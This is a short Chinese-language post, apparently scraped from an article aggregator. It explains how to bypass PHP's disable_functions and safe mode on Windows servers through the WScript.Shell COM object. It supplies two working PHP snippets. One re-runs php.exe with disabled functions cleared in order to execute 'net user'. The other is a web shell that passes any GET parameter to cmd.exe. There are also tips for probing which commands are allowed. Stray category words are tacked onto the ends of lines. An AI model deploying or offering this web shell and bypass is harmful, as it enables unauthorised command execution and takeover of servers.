php利用wsh突破函數禁用執行命令(安全模式同理)

不少時候有些windows的服務器是支持wsh組建的,可是卻執行不了命令,asp下執行被拒絕,php下執行報錯,此時你能夠借鑑如下的方法嘗試。php

php利用wsh突破函數禁用執行命令(安全模式同理)
條件說明:apache

須要服務器是windows並支持wsh組建.且知道php安裝目錄
php在IIS環境下利用wsh執行命令是沒有asp的權限高的。若是在apache環境下,apache默認都是system或administrator權限。windows


  測試是否能夠執行命令的時候,若是回顯空白,能夠多嘗試一些命令,好比set,whoami,等等,由於有時候有些命令被禁用的,好比net類或者ipconfig命令就常常被禁用。安全

 

 突破代碼以下:服務器

<?php
$cmd='net user';
$path = 'C:\\PHP\\php.exe';
$cmd='-r "system(\''.$cmd.'\');" -d disable_functions = ';

//從新定義disable_functions函數
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec($path.' '.$cmd);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo "${stroutput}\n";
?>

 或者:函數

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");  
$stdout = $exec->StdOut();  
$stroutput = $stdout->ReadAll();  
echo $stroutput;  
?>
相關文章
相關標籤/搜索